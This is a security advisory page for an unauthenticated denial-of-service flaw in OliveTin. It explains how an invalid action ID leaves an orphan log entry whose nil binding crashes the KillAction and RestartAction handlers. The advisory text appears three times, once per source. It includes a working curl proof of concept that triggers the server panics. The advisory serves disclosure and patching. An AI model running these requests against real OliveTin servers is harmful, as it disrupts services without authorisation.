GHSA-fwhj-785h-43hh
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
GHSA-fwhj-785h-43hh is a medium vulnerability (CVSS 5.3) in github.com/OliveTin/OliveTin, published March 5, 2026. No source lists public exploit code. Fixed in github.com/OliveTin/OliveTin 0.0.0-20260304225158-bb14c5da3e64.
- Severity
- 5.3 MediumCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.0.0-20260304225158-bb14c5da3e64github.com/OliveTin/OliveTin
Description
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/OliveTin/OliveTinGo | before 0.0.0-20260304225158-bb14c5da3e64 | 0.0.0-20260304225158-bb14c5da3e64 |
What each source reports
GitHub Advisories Score used 5.3
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
- Record
GHSA-fwhj-785h-43hh- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-20, CWE-476
- Updated
- 2026-11-02
OSV 5.3
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
- Record
GHSA-fwhj-785h-43hh- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-20, CWE-476
- Updated
- 2026-11-02
OSVGO-2026-4621No score
OliveTin has crash on NPE by calling APIs with invalid bindings or log references in github.com/OliveTin/OliveTin
OliveTin has crash on NPE by calling APIs with invalid bindings or log references in github.com/OliveTin/OliveTin
- Record
GO-2026-4621- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.